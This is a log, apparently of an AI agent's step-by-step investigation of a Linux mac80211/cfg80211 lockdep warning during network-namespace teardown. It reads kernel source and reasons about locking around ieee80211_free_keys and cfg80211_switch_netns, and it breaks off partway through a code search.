Thoughts: **Analyzing Potential Race Conditions in `ieee80211_key_replace` and Related Functions**
Okay, let's break this down. My initial concern stems from `ieee80211_key_replace` and how it handles concurrency. I see `rcu_dereference_protected(sta->link[link_id], lockdep_is_held(&sta->local->hw.wiphy->mtx));` being used. The crucial thing here is that if `wiphy->mtx` isn't held, this flags an RCU lockdep warning, which is something we want to avoid. Plus, it calls `ieee80211_key_disable_hw_accel(old)` and `ieee80211_key_enable_hw_accel(new)`. My immediate thought is, does it modify anything that *requires* that `wiphy->mtx`? That's the core question.
Then, I'm reminded about `ieee80211_teardown_sdata`, which gets called during netdevice unregistration. The device is *supposed* to be closed at this point, so no other operations should be touching it, right? But what if another thread *is* accessing `sdata->keys` or `sta->link` concurrently? That's the race condition I'm trying to identify. I need to figure out if `wiphy->mtx` is held when `ieee80211_teardown_sdata` is called from `ieee80211_uninit`.
Hmm, I seem to remember that `ndo_uninit` gets called from `unregister_netdevice_many_notify` without `wiphy->mtx` being held. Okay, so that's a key piece. Then, what *is* held? Is there another lock that might offer protection? I see that `rtnl_lock` is held, but is that enough to protect `sdata->keys` in the scenario we're discussing? Typically, `wiphy->mtx` is the gatekeeper for mac80211's internal state, including key management.
If `wiphy->mtx` *isn't* held, could a race condition exist? The obvious one is, could a cfg80211 command be executing concurrently? Those commands take `wiphy->mtx` as a rule. If a cfg80211 command is accessing the netdevice, it *should* check if it's still registered. Given that `NETDEV_UNREGISTER` has been handled, `wdev->registered` is false, and `_cfg80211_unregister_wdev` has been called.
That's when I recall that `_cfg80211_unregister_wdev` actually *removes* the `wdev` from the wiphy's list of devices. Aha! Now I need to dive into `_cfg80211_unregister_wdev` to confirm the timing and ensure that any potential races are avoided.
|
| 47/2 |
2026/08/26 10:00 |
tool |
read-file |
0m
Args: map[File:net/wireless/core.c FirstLine:1440 LineCount:40]
Results: map[Contents:1440: cfg80211_stop_nan(rdev, wdev);
1441: break;
1442: case NL80211_IFTYPE_PD:
1443: cfg80211_stop_pd(rdev, wdev);
1444: break;
1445: default:
1446: break;
1447: }
1448:
1449: #ifdef CONFIG_CFG80211_WEXT
1450: kfree_sensitive(wdev->wext.keys);
1451: wdev->wext.keys = NULL;
1452: #endif
1453: wiphy_work_cancel(wdev->wiphy, &wdev->cqm_rssi_work);
1454: /* deleted from the list, so can't be found from nl80211 any more */
1455: cqm_config = rcu_access_pointer(wdev->cqm_config);
1456: kfree_rcu(cqm_config, rcu_head);
1457: RCU_INIT_POINTER(wdev->cqm_config, NULL);
1458:
1459: /*
1460: * Ensure that all events have been processed and
1461: * freed.
1462: */
1463: cfg80211_process_wdev_events(wdev);
1464:
1465: if (wdev->iftype == NL80211_IFTYPE_STATION ||
1466: wdev->iftype == NL80211_IFTYPE_P2P_CLIENT) {
1467: for (link_id = 0; link_id < ARRAY_SIZE(wdev->links); link_id++) {
1468: struct cfg80211_internal_bss *curbss;
1469:
1470: curbss = wdev->links[link_id].client.current_bss;
1471:
1472: if (WARN_ON(curbss)) {
1473: cfg80211_unhold_bss(curbss);
1474: cfg80211_put_bss(wdev->wiphy, &curbss->pub);
1475: wdev->links[link_id].client.current_bss = NULL;
1476: }
1477: }
1478: }
1479:
]
|
| 48/2 |
2026/08/26 10:00 |
llm |
expert |
0m
Model:
Tokens:
input: 34313
output: 36
thoughts: 16
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Analyzing the `wdev` Removal**
Alright, let's zero in on the logic. My immediate focus is on pinpointing the exact location or condition within the code where the element `wdev` is being excised from the relevant list or data structure. I need to understand the mechanism behind this removal β is it a direct call to a `remove()` function, a filtered operation, or perhaps a conditional deletion based on some criteria? My expertise allows me to quickly assess the likely scenarios and determine the most probable implementation method to explore. From there, I can efficiently identify which code paths lead to this operation. Knowing my system well, I can likely predict the context in which the removal occurs. My expectation is that the code is well-commented and logically organized, which will make this task straightforward. I'm ready to dive into the code and quickly confirm my assessment.
|
| 49/2 |
2026/08/26 10:01 |
tool |
read-file |
0m
Args: map[File:net/wireless/core.c FirstLine:1480 LineCount:40]
Results: map[Contents:1480: wdev->connected = false;
1481: }
1482:
1483: void cfg80211_unregister_wdev(struct wireless_dev *wdev)
1484: {
1485: _cfg80211_unregister_wdev(wdev, true);
1486: }
1487: EXPORT_SYMBOL(cfg80211_unregister_wdev);
1488:
1489: static const struct device_type wiphy_type = {
1490: .name = "wlan",
1491: };
1492:
1493: void cfg80211_update_iface_num(struct cfg80211_registered_device *rdev,
1494: enum nl80211_iftype iftype, int num)
1495: {
1496: lockdep_assert_held(&rdev->wiphy.mtx);
1497:
1498: rdev->num_running_ifaces += num;
1499: if (iftype == NL80211_IFTYPE_MONITOR)
1500: rdev->num_running_monitor_ifaces += num;
1501: }
1502:
1503: void cfg80211_leave_locked(struct cfg80211_registered_device *rdev,
1504: struct wireless_dev *wdev, int link_id)
1505: {
1506: struct net_device *dev = wdev->netdev;
1507: struct cfg80211_sched_scan_request *pos, *tmp;
1508:
1509: lockdep_assert_held(&rdev->wiphy.mtx);
1510:
1511: cfg80211_pmsr_wdev_down(wdev);
1512:
1513: cfg80211_stop_radar_detection(wdev);
1514: cfg80211_stop_background_radar_detection(wdev);
1515:
1516: switch (wdev->iftype) {
1517: case NL80211_IFTYPE_ADHOC:
1518: cfg80211_leave_ibss(rdev, dev, true);
1519: break;
]
|
| 50/2 |
2026/08/26 10:01 |
llm |
expert |
0m
Model:
Tokens:
input: 35238
output: 36
thoughts: 29
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience and written in the first person:
**Decoding the `_cfg80211_unregister_wdev` Function**
Okay, hold on. This `_cfg80211_unregister_wdev` function... isn't that defined earlier in this section? Right, I thought so. Let's trace it from the top. I need to get a clear picture of its behavior. It's crucial, so I'll start by refreshing my memory of the exact context. I'll mentally map out the function's inputs and outputs. What resources is it handling, and what are the crucial data structures it's interacting with, particularly around the wireless device registration lifecycle? I'll probably be quickly running through the associated data structures, identifying potential race conditions or resource leaks. I need to understand its relationship to the broader cfg80211 framework. Any hidden side effects I need to be aware of? Are there any obvious potential issues, like double frees or improper locking strategies?
|
| 51/2 |
2026/08/26 10:01 |
tool |
read-file |
0m
Args: map[File:net/wireless/core.c FirstLine:1390 LineCount:50]
Results: map[Contents:1390:
1391: void wiphy_free(struct wiphy *wiphy)
1392: {
1393: kfree(wiphy->radio_cfg);
1394: put_device(&wiphy->dev);
1395: }
1396: EXPORT_SYMBOL(wiphy_free);
1397:
1398: void wiphy_rfkill_set_hw_state_reason(struct wiphy *wiphy, bool blocked,
1399: enum rfkill_hard_block_reasons reason)
1400: {
1401: struct cfg80211_registered_device *rdev = wiphy_to_rdev(wiphy);
1402:
1403: if (rfkill_set_hw_state_reason(wiphy->rfkill, blocked, reason))
1404: schedule_work(&rdev->rfkill_block);
1405: }
1406: EXPORT_SYMBOL(wiphy_rfkill_set_hw_state_reason);
1407:
1408: static void _cfg80211_unregister_wdev(struct wireless_dev *wdev,
1409: bool unregister_netdev)
1410: {
1411: struct cfg80211_registered_device *rdev = wiphy_to_rdev(wdev->wiphy);
1412: struct cfg80211_cqm_config *cqm_config;
1413: unsigned int link_id;
1414:
1415: ASSERT_RTNL();
1416: lockdep_assert_held(&rdev->wiphy.mtx);
1417:
1418: nl80211_notify_iface(rdev, wdev, NL80211_CMD_DEL_INTERFACE);
1419:
1420: wdev->registered = false;
1421:
1422: if (wdev->netdev) {
1423: sysfs_remove_link(&wdev->netdev->dev.kobj, "phy80211");
1424: if (unregister_netdev)
1425: unregister_netdevice(wdev->netdev);
1426: }
1427:
1428: list_del_rcu(&wdev->list);
1429: synchronize_net();
1430: rdev->devlist_generation++;
1431: wiphy_work_cancel(wdev->wiphy, &wdev->disconnect_wk);
1432:
1433: cfg80211_mlme_purge_registrations(wdev);
1434:
1435: switch (wdev->iftype) {
1436: case NL80211_IFTYPE_P2P_DEVICE:
1437: cfg80211_stop_p2p_device(rdev, wdev);
1438: break;
1439: case NL80211_IFTYPE_NAN:
]
|
| 52/2 |
2026/08/26 10:01 |
llm |
expert |
0m
Model:
Tokens:
input: 36379
output: 40
thoughts: 1015
Thoughts: **Analyzing a Lockdep Warning in cfg80211 Teardown**
Okay, so I'm looking at this lockdep warning triggered during the unregistration of a wireless device (`wdev`) from cfg80211. `_cfg80211_unregister_wdev` essentially removes the `wdev` from the `wiphy`'s list and does a synchronize_net. This happens before `ndo_uninit` is called, where the actual driver-specific teardown takes place. I need to understand if there's any data race risk.
My initial thought is that since `_cfg80211_unregister_wdev` removes the `wdev` *before* `ndo_uninit`, no new cfg80211 commands can find it. But what about existing commands? Well, `_cfg80211_unregister_wdev` holds `wiphy->mtx` while removing the device. Any cfg80211 commands that *already* held the lock will finish before the unregistration. Any commands that try to acquire the lock *after* the unregistration won't find the `wdev` because it's been removed from the list. So, it seems like `ndo_uninit` should run exclusively.
Given the timing, it seems that there's no concurrent cfg80211 command running on this `wdev` while `ndo_uninit` is executing. Therefore, functions like `ieee80211_teardown_sdata` and `ieee80211_free_keys` should be running in isolation. Thus, there should be no concurrent access to `sdata->keys` or `sta->link`. The lockdep warning, in this specific path, seems to be a false positive. The object is isolated.
But let me think again. What about RCU? The `list_del_rcu` is followed by `synchronize_net()`. That guarantees that any RCU readers are done. So, even RCU readers shouldn't be accessing it anymore. Okay, so I'm pretty confident that accessing `sdata->keys` without `wiphy->mtx` is safe in `ndo_uninit`. The warning is likely because `ieee80211_free_keys` (and potentially `wiphy_delayed_work_cancel`) assumes `wiphy->mtx` is held, in cases where the device is still active. However, during teardown, it's called without the lock. Which is okay, but lockdep picks it up.
So, how does the reproducer trigger this? Ah, it involves moving the wiphy to a new netns and then destroying the netns. When the netns is destroyed, `cleanup_net` unregisters all netdevices. This calls the `NETDEV_UNREGISTER` notifier, which unregisters the wdev while holding `wiphy->mtx`. Then, `ndo_uninit` runs and triggers the warning.
Is this actually exploitable? No, it's just a lockdep warning. Lockdep is disabled in production. Even if it were enabled, it's a false positive in terms of data races.
Wait, let me think about `wiphy_delayed_work_cancel` just in case. If that's called without the `wiphy->mtx`, is that bad? Nope. `wiphy_delayed_work_cancel` calls `timer_delete_sync` and `wiphy_work_cancel`. `wiphy_work_cancel` takes `rdev->wiphy_work_lock` spinlock, so it's safe. `timer_delete_sync` is safe without any locks. So, I don't see any memory corruption or use-after-free issues here.
Let's do a final check. Anything else requiring `wiphy->mtx` in `ieee80211_free_keys`? `ieee80211_key_replace` calls `ieee80211_key_disable_hw_accel(old)`. Does that require `wiphy->mtx`? I'd need to go look into that code... but the current analysis is sound in that this is a false positive.
|
| 53/2 |
2026/08/26 10:01 |
tool |
read-file |
0m
Args: map[File:net/mac80211/key.c FirstLine:380 LineCount:40]
Results: map[Contents: 380: bool uni, bool multi)
381: {
382: lockdep_assert_wiphy(link->sdata->local->hw.wiphy);
383:
384: __ieee80211_set_default_key(link, idx, uni, multi);
385: }
386:
387: static void
388: __ieee80211_set_default_mgmt_key(struct ieee80211_link_data *link, int idx)
389: {
390: struct ieee80211_sub_if_data *sdata = link->sdata;
391: struct ieee80211_key *key = NULL;
392:
393: lockdep_assert_wiphy(sdata->local->hw.wiphy);
394:
395: if (idx >= NUM_DEFAULT_KEYS &&
396: idx < NUM_DEFAULT_KEYS + NUM_DEFAULT_MGMT_KEYS)
397: key = wiphy_dereference(sdata->local->hw.wiphy,
398: link->gtk[idx]);
399:
400: rcu_assign_pointer(link->default_mgmt_key, key);
401:
402: ieee80211_debugfs_key_update_default(sdata);
403: }
404:
405: void ieee80211_set_default_mgmt_key(struct ieee80211_link_data *link,
406: int idx)
407: {
408: lockdep_assert_wiphy(link->sdata->local->hw.wiphy);
409:
410: __ieee80211_set_default_mgmt_key(link, idx);
411: }
412:
413: static void
414: __ieee80211_set_default_beacon_key(struct ieee80211_link_data *link, int idx)
415: {
416: struct ieee80211_sub_if_data *sdata = link->sdata;
417: struct ieee80211_key *key = NULL;
418:
419: lockdep_assert_wiphy(sdata->local->hw.wiphy);
]
|
| 54/2 |
2026/08/26 10:01 |
llm |
expert |
0m
Model:
Tokens:
input: 39067
output: 48
thoughts: 22
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Analyzing `ieee80211_key_disable_hw_accel`**
Okay, let's dive into `ieee80211_key_disable_hw_accel`. I need to understand its role in the larger picture of hardware accelerated key processing within the 802.11 stack. My initial question is, what triggers this function? Is it a key reconfiguration, a security policy change, or perhaps a temporary condition like a power save event that necessitates disabling hardware offload? I need to quickly identify the call sites to see the context in which this is invoked.
I'm assuming this is related to something like disabling WEP or TKIP acceleration; it's probably about ensuring software handles the crypto when hardware offload isn't appropriate or safe for some reason. I should check if this directly impacts security policies or performance optimization. Understanding the specific hardware features the function interacts with is key. I'll need to correlate this function's behaviour with the underlying device driver and associated hardware registers. Any potential race conditions when software and hardware are managing keys simultaneously should be on my radar as well. Let's see if this function invalidates any caches related to keys or if it simply toggles some hardware flag. My goal is to grasp the implications of calling this function regarding security implications and performance optimization.
|
| 55/2 |
2026/08/26 10:01 |
tool |
grepper |
0m
Args: map[Expression:ieee80211_key_disable_hw_accel PathPrefix:net/mac80211/key.c]
Results: map[Output:net/mac80211/key.c=120=static int ieee80211_key_enable_hw_accel(struct ieee80211_key *key)
--
net/mac80211/key.c-230-
net/mac80211/key.c:231:static void ieee80211_key_disable_hw_accel(struct ieee80211_key *key)
net/mac80211/key.c-232-{
--
net/mac80211/key.c=440=static int ieee80211_key_replace(struct ieee80211_sub_if_data *sdata,
--
net/mac80211/key.c-507- if (old->flags & KEY_FLAG_UPLOADED_TO_HARDWARE) {
net/mac80211/key.c:508: ieee80211_key_disable_hw_accel(old);
net/mac80211/key.c-509-
--
net/mac80211/key.c=1486=int ieee80211_key_switch_links(struct ieee80211_sub_if_data *sdata,
--
net/mac80211/key.c-1500-
net/mac80211/key.c:1501: ieee80211_key_disable_hw_accel(key);
net/mac80211/key.c-1502- }
]
|
| 56/2 |
2026/08/26 10:01 |
llm |
expert |
0m
Model:
Tokens:
input: 39869
output: 40
thoughts: 0
|
| 57/2 |
2026/08/26 10:01 |
tool |
read-file |
0m
Args: map[File:net/mac80211/key.c FirstLine:231 LineCount:30]
Results: map[Contents: 231: static void ieee80211_key_disable_hw_accel(struct ieee80211_key *key)
232: {
233: struct ieee80211_sub_if_data *sdata;
234: struct sta_info *sta;
235: int ret;
236:
237: might_sleep();
238:
239: if (!key || !key->local->ops->set_key)
240: return;
241:
242: if (!(key->flags & KEY_FLAG_UPLOADED_TO_HARDWARE))
243: return;
244:
245: sta = key->sta;
246: sdata = key->sdata;
247:
248: lockdep_assert_wiphy(key->local->hw.wiphy);
249:
250: if (key->conf.link_id >= 0 && sdata->vif.active_links &&
251: !(sdata->vif.active_links & BIT(key->conf.link_id)))
252: return;
253:
254: if (!(key->conf.flags & (IEEE80211_KEY_FLAG_GENERATE_MMIC |
255: IEEE80211_KEY_FLAG_PUT_MIC_SPACE |
256: IEEE80211_KEY_FLAG_RESERVE_TAILROOM)))
257: increment_tailroom_need_count(sdata);
258:
259: key->flags &= ~KEY_FLAG_UPLOADED_TO_HARDWARE;
260: ret = drv_set_key(key->local, DISABLE_KEY, sdata,
]
|
| 58/2 |
2026/08/26 10:01 |
llm |
expert |
0m
Model:
Tokens:
input: 40423
output: 34
thoughts: 124
Thoughts: **Analyzing a Potential Race Condition**
Okay, so I'm looking at this code and it's calling `drv_set_key`. Right, standard procedure. And `drv_set_key` then makes a call directly into the driver. My first thought is always, "What are the locking assumptions here?". Specifically, does the driver *expect* `wiphy->mtx` to be held when `drv_set_key` is called?
Typically, yes, mac80211 is pretty good about enforcing that the `wiphy->mtx` mutex is held before making driver operation calls. That's the whole point of the mac80211 abstraction, isn't it? But, here's the rub: I'm seeing `drv_set_key` being called *without* `wiphy->mtx` being held! That's a red flag. Is this going to cause a race condition, or worse?
I need to quickly check the definition of `drv_set_key` in `net/mac80211/driver-ops.h`. I'll confirm how this is supposed to work and determine if this is really the issue I suspect.
|
| 59/2 |
2026/08/26 10:01 |
tool |
grepper |
0m
Args: map[Expression:drv_set_key PathPrefix:net/mac80211/]
Results: map[Output:net/mac80211/driver-ops.c=460=void drv_link_info_changed(struct ieee80211_local *local,
--
net/mac80211/driver-ops.c-502-
net/mac80211/driver-ops.c:503:int drv_set_key(struct ieee80211_local *local,
net/mac80211/driver-ops.c-504- enum set_key_cmd cmd,
--
net/mac80211/driver-ops.c-524-
net/mac80211/driver-ops.c:525: trace_drv_set_key(local, cmd, sdata, sta, key);
net/mac80211/driver-ops.c-526- ret = local->ops->set_key(&local->hw, cmd, &sdata->vif, sta, key);
--
net/mac80211/driver-ops.h=232=static inline int drv_set_tim(struct ieee80211_local *local,
--
net/mac80211/driver-ops.h-242-
net/mac80211/driver-ops.h:243:int drv_set_key(struct ieee80211_local *local,
net/mac80211/driver-ops.h-244- enum set_key_cmd cmd,
--
net/mac80211/key.c=120=static int ieee80211_key_enable_hw_accel(struct ieee80211_key *key)
--
net/mac80211/key.c-180-
net/mac80211/key.c:181: ret = drv_set_key(key->local, SET_KEY, sdata,
net/mac80211/key.c-182- sta ? &sta->sta : NULL, &key->conf);
--
net/mac80211/key.c=231=static void ieee80211_key_disable_hw_accel(struct ieee80211_key *key)
--
net/mac80211/key.c-259- key->flags &= ~KEY_FLAG_UPLOADED_TO_HARDWARE;
net/mac80211/key.c:260: ret = drv_set_key(key->local, DISABLE_KEY, sdata,
net/mac80211/key.c-261- sta ? &sta->sta : NULL, &key->conf);
--
net/mac80211/trace.h=624=TRACE_EVENT(drv_set_tim,
--
net/mac80211/trace.h-647-
net/mac80211/trace.h:648:TRACE_EVENT(drv_set_key,
net/mac80211/trace.h-649- TP_PROTO(struct ieee80211_local *local,
]
|
| 60/2 |
2026/08/26 10:01 |
llm |
expert |
0m
Model:
Tokens:
input: 41655
output: 43
thoughts: 208
Thoughts: **Analyzing a Potential Race Condition in Wireless Driver Operations**
Okay, so I'm digging into this code and I've got a potential race condition flagged. It looks like if `drv_set_key` gets called without the `wiphy->mtx` held, the driver could *assume* it's protected and end up in a race with some other driver operations. That's a classic issue, and I immediately start to think about the conditions.
But hold on, the device is *unregistered*, right? So, the immediate thought is "well, maybe we're safe because the device is gone". The next question is, are there any *other* driver operations running simultaneously? I need to consider that.
Right, `NETDEV_UNREGISTER` has been handled, which means no *new* `cfg80211` commands can reach the driver for *this* wireless device (wdev). Great. But that still doesn't tell the whole story. I have to think about other wdevs on the *same* `wiphy`. That's the real potential pitfall.
If there *are* other wdevs on the same physical wireless interface, they *could* be processing `cfg80211` commands concurrently. And those commands would, presumably, be holding that `wiphy->mtx`! That's it! If `drv_set_key` is called without that mutex, it could totally race with another driver operation on *a different wdev*! I see a potential for overlap, and I have to explore a very specific example.
For instance, let's look at `hwsim_set_key` from within `mac80211_hwsim`. Let's confirm how the handling of `hwsim_set_key` relates to the `wiphy->mtx` to understand the race conditions. I'm going to dig into the source code for that function and confirm that this is a valid concern.
|
| 61/2 |
2026/08/26 10:02 |
tool |
grepper |
0m
Error:
Args: map[Expression:hwsim_set_key PathPrefix:drivers/net/wireless/mac80211_hwsim.c]
Results:
|
| 62/2 |
2026/08/26 10:02 |
llm |
expert |
0m
Model:
Tokens:
input: 42344
output: 41
thoughts: 0
|
| 63/2 |
2026/08/26 10:02 |
tool |
grepper |
0m
Error:
Args: map[Expression:\.set_key PathPrefix:drivers/net/wireless/mac80211_hwsim.c]
Results:
|
| 64/2 |
2026/08/26 10:02 |
llm |
expert |
0m
Model:
Tokens:
input: 42399
output: 40
thoughts: 47
Thoughts: Okay, here's the summary of that thought process, tailored for an expert audience, and written in the first person:
**Initial Investigation into `mac80211_hwsim` Key Management**
Hmm, hold on a second. It seems I recall `mac80211_hwsim` being a bit lightweight, but I'm questioning whether it implements `set_key`. That would be... inconvenient. Let's verify this quickly. Right, my first action should be to dive into the source code, specifically `mac80211_hwsim.c`. I need to confirm whether a `set_key` function (or a variation of it) actually exists within that module. It's a fundamental part of security, so if it's missing, it significantly impacts the simulations I can run and what I can test. Checking `mac80211_hwsim.c` is the most direct way to get this answered.
|
| 65/2 |
2026/08/26 10:02 |
tool |
grepper |
0m
Error:
Args: map[Expression:set_key PathPrefix:drivers/net/wireless/mac80211_hwsim.c]
Results:
|
| 66/2 |
2026/08/26 10:02 |
llm |
expert |
0m
Model:
Tokens:
input: 42706
output: 35
thoughts: 396
Thoughts: **My Analysis of a Potential Race Condition in mac80211 Driver Unregistration**
Okay, so I'm looking at this `mac80211_hwsim` code, and it's clear that it doesn't bother implementing the `set_key` function. Fine, that's not its purpose. But this got me thinking about real drivers. Real drivers *do* implement `set_key`, and the potential here is a real problem. If a real driver's `set_key` is called, and `wiphy->mtx` isn't held, we could have a nasty race condition with other operations.
Wait, is `wiphy->mtx` *actually* not held in some scenarios? I need to dig deeper. Let's trace back from `cleanup_net`. Right, that calls `ops_exit_list`, which leads to `default_device_exit_batch`, and ultimately to `unregister_netdevice_many`. From there, we call `call_netdevice_notifiers(NETDEV_UNREGISTER, dev)`. Ah-ha! This calls `cfg80211_netdev_notifier_call`, which *does* take `wiphy->mtx` and unregisters the wdev. Then, importantly, `unregister_netdevice_many` calls `ndo_uninit`. Bingo! We have a problem, because clearly, `wiphy->mtx` is *NOT* held during `ndo_uninit`.
Is this a known bug? It looks like it. It seems we have a documented issue where `ndo_uninit` is called without `wiphy->mtx`, and mac80211 assumes that lock *is* held during `ieee80211_teardown_sdata`. This is problematic.
Why did this bug happen, though? Let's figure out the root cause. Okay, I see. The wiphy was moved to a different netns, and that netns was subsequently destroyed. When the netns is destroyed, `cleanup_net` unregisters all the netdevices within it.
Hold on, doesn't `cfg80211_pernet_exit` also run when the wiphy is in the netns? I should verify that. Let me quickly check the logic within `cfg80211_pernet_exit` to be absolutely certain of the complete execution flow.
|
| 67/2 |
2026/08/26 10:02 |
tool |
grepper |
0m
Args: map[Expression:cfg80211_pernet_exit PathPrefix:net/wireless/]
Results: map[Output:net/wireless/core.c=1860=static struct notifier_block cfg80211_netdev_notifier = {
--
net/wireless/core.c-1863-
net/wireless/core.c:1864:static void __net_exit cfg80211_pernet_exit(struct net *net)
net/wireless/core.c-1865-{
--
net/wireless/core.c=1876=static struct pernet_operations cfg80211_pernet_ops = {
net/wireless/core.c:1877: .exit = cfg80211_pernet_exit,
net/wireless/core.c-1878-};
]
|
| 68/2 |
2026/08/26 10:02 |
llm |
expert |
0m
Model:
Tokens:
input: 43850
output: 36
thoughts: 17
Thoughts: Okay, let's dive into this. Here's my take on `cfg80211_pernet_exit`:
**Deconstructing `cfg80211_pernet_exit` - A Postmortem**
Alright, so the task at hand is `cfg80211_pernet_exit`. Immediately, the "pernet" part makes me think this is likely the cleanup routine associated with a network namespace, specifically for the cfg80211 wireless subsystem. Knowing that context gives me a head start; I'm expecting this function to handle the removal of resources and the graceful shutdown of the wireless environment within a specific network namespace. I'll be looking for things like freed memory, deregistered devices, and possibly any signaling that the namespace is exiting and can no longer expect any incoming wireless data or configuration requests. I know how intricately wireless configuration can be entangled with network namespaces so I'll be on the lookout for potential race conditions or resource leaks if this exit function isn't perfectly coordinated. Let's see how they've handled this.
|
| 69/2 |
2026/08/26 10:02 |
tool |
read-file |
0m
Args: map[File:net/wireless/core.c FirstLine:1864 LineCount:20]
Results: map[Contents:1864: static void __net_exit cfg80211_pernet_exit(struct net *net)
1865: {
1866: struct cfg80211_registered_device *rdev;
1867:
1868: rtnl_lock();
1869: for_each_rdev(rdev) {
1870: if (net_eq(wiphy_net(&rdev->wiphy), net))
1871: WARN_ON(cfg80211_switch_netns(rdev, &init_net));
1872: }
1873: rtnl_unlock();
1874: }
1875:
1876: static struct pernet_operations cfg80211_pernet_ops = {
1877: .exit = cfg80211_pernet_exit,
1878: };
1879:
1880: void wiphy_work_queue(struct wiphy *wiphy, struct wiphy_work *work)
1881: {
1882: struct cfg80211_registered_device *rdev = wiphy_to_rdev(wiphy);
1883: unsigned long flags;
]
|
| 70/2 |
2026/08/26 10:02 |
llm |
expert |
0m
Model:
Tokens:
input: 44478
output: 35
thoughts: 76
Thoughts: Here's my thinking process:
**Diving into Network Namespace Management with cfg80211**
Okay, so `cfg80211_pernet_exit`... that's the function that's responsible for, essentially, unwinding things when a network namespace is being torn down, right? The key thing here is it's moving the `wiphy` β the wireless physical interface object β back to `init_net`. That makes sense; the `init_net` is the default, global network namespace.
But hereβs where things get interesting and I have to pause for a second. If the `wiphy` is being moved back to `init_net`, doesn't that *imply* that all the network devices associated with that `wiphy` are also being moved back to `init_net`? That's the crucial question to answer: are we losing the namespace association of the net devices themselves during this transition? This has serious implications for isolation and routing if my understanding is off, so I better confirm.
Right, so to understand the implications of the wiphy returning to init_net, I need to check out what the function `cfg80211_switch_netns` does - that's going to tell the whole story. Let's see how that ties into the cleanup process.
|
| 71/2 |
2026/08/26 10:02 |
tool |
grepper |
0m
Args: map[Expression:cfg80211_switch_netns PathPrefix:net/wireless/]
Results: map[Output:net/wireless/core.c=129=int cfg80211_dev_rename(struct cfg80211_registered_device *rdev,
--
net/wireless/core.c-155-
net/wireless/core.c:156:int cfg80211_switch_netns(struct cfg80211_registered_device *rdev,
net/wireless/core.c-157- struct net *net)
--
net/wireless/core.c=1864=static void __net_exit cfg80211_pernet_exit(struct net *net)
--
net/wireless/core.c-1870- if (net_eq(wiphy_net(&rdev->wiphy), net))
net/wireless/core.c:1871: WARN_ON(cfg80211_switch_netns(rdev, &init_net));
net/wireless/core.c-1872- }
--
net/wireless/core.h=243=struct wiphy *wiphy_idx_to_wiphy(int wiphy_idx);
net/wireless/core.h-244-
net/wireless/core.h:245:int cfg80211_switch_netns(struct cfg80211_registered_device *rdev,
net/wireless/core.h-246- struct net *net);
--
net/wireless/nl80211.c=14344=static int nl80211_wiphy_netns(struct sk_buff *skb, struct genl_info *info)
--
net/wireless/nl80211.c-14381- if (!net_eq(wiphy_net(&rdev->wiphy), net))
net/wireless/nl80211.c:14382: err = cfg80211_switch_netns(rdev, net);
net/wireless/nl80211.c-14383-
]
|
| 72/2 |
2026/08/26 10:02 |
llm |
expert |
0m
Model:
Tokens:
input: 45398
output: 35
thoughts: 17
Thoughts: Okay, let's dive into this. Here's my take on `cfg80211_switch_netns`, as if I were processing this code:
**Analyzing the Netns Switch**
Right, let's get into `cfg80211_switch_netns`. I need to understand what's happening here regarding network namespaces. This is a critical function in the `cfg80211` context, so my focus is on how it manages and adapts to changes in the network namespace environment. I'm expecting this function deals with associating or dissociating wireless devices with different network namespaces. Perhaps this includes tasks like updating internal data structures, re-registering devices, and ensuring proper communication across namespace boundaries. I'll need to pay close attention to the lock management to make sure there are no race conditions when manipulating global wireless state. I will keep an eye out for how it handles different operational modes and any potential error conditions that could arise during the switch. Finally, I'll assess its overall performance implications within the larger wireless stack. Alright, let's start reading and see if my hypotheses hold true.
|
| 73/2 |
2026/08/26 10:02 |
tool |
read-file |
0m
Args: map[File:net/wireless/core.c FirstLine:156 LineCount:40]
Results: map[Contents: 156: int cfg80211_switch_netns(struct cfg80211_registered_device *rdev,
157: struct net *net)
158: {
159: struct wireless_dev *wdev;
160: int err = 0;
161:
162: if (!(rdev->wiphy.flags & WIPHY_FLAG_NETNS_OK))
163: return -EOPNOTSUPP;
164:
165: list_for_each_entry(wdev, &rdev->wiphy.wdev_list, list) {
166: if (!wdev->netdev)
167: continue;
168: wdev->netdev->netns_immutable = false;
169: err = dev_change_net_namespace(wdev->netdev, net, "wlan%d");
170: if (err)
171: break;
172: wdev->netdev->netns_immutable = true;
173: }
174:
175: if (err) {
176: /* failed -- clean up to old netns */
177: net = wiphy_net(&rdev->wiphy);
178:
179: list_for_each_entry_continue_reverse(wdev,
180: &rdev->wiphy.wdev_list,
181: list) {
182: if (!wdev->netdev)
183: continue;
184: wdev->netdev->netns_immutable = false;
185: err = dev_change_net_namespace(wdev->netdev, net,
186: "wlan%d");
187: WARN_ON(err);
188: wdev->netdev->netns_immutable = true;
189: }
190:
191: return err;
192: }
193:
194: guard(wiphy)(&rdev->wiphy);
195:
]
|
| 74/2 |
2026/08/26 10:02 |
llm |
expert |
0m
Model:
Tokens:
input: 46294
output: 34
thoughts: 324
Thoughts: **Analyzing the `cfg80211_switch_netns` Failure**
Okay, let's break this down. My initial hunch is right; it looks like `cfg80211_switch_netns` is the culprit. Specifically, I see it calling `dev_change_net_namespace` for *each* `wdev->netdev`. And I know from experience that `dev_change_net_namespace` isn't foolproof; it can fail. The reproducer highlights exactly where.
The scenario outlined is clear: we start with a hwsim radio in `init_net`. Then we have a second interface, `wlan_test1`, on that radio. Crucially, we're adding an alternate name to `wlan_test1`. Next, the wiphy gets moved to a new network namespace, `netns B`. Here's where it gets interesting: *before* we destroy `netns B`, a dummy interface is created in `init_net` and given the *same* alternate name as `wlan_test1`.
Now, the destruction of `netns B` triggers `cfg80211_pernet_exit`, which in turn calls `cfg80211_switch_netns(rdev, &init_net)`. This is where the problem hits: it's attempting to move both `wlan0` and `wlan_test1` *back* to `init_net`. But `wlan_test1` has that pre-existing alternate name, "myaltname." Since the dummy interface in `init_net` already has that same altname, `dev_change_net_namespace` for `wlan_test1` is going to choke with a `-EEXIST` error! The altname conflict is the precise point of failure.
My next step is to confirm my suspicion by directly checking how `dev_change_net_namespace` handles alternate name conflicts. Time to dig into the code!
|
| 75/2 |
2026/08/26 10:03 |
tool |
grepper |
0m
Args: map[Expression:dev_change_net_namespace PathPrefix:net/core/dev.c]
Results: map[Output:net/core/dev.c=12700=EXPORT_SYMBOL(unregister_netdev);
net/core/dev.c-12701-
net/core/dev.c:12702:int __dev_change_net_namespace(struct net_device *dev, struct net *net,
net/core/dev.c-12703- const char *pat, int new_ifindex,
--
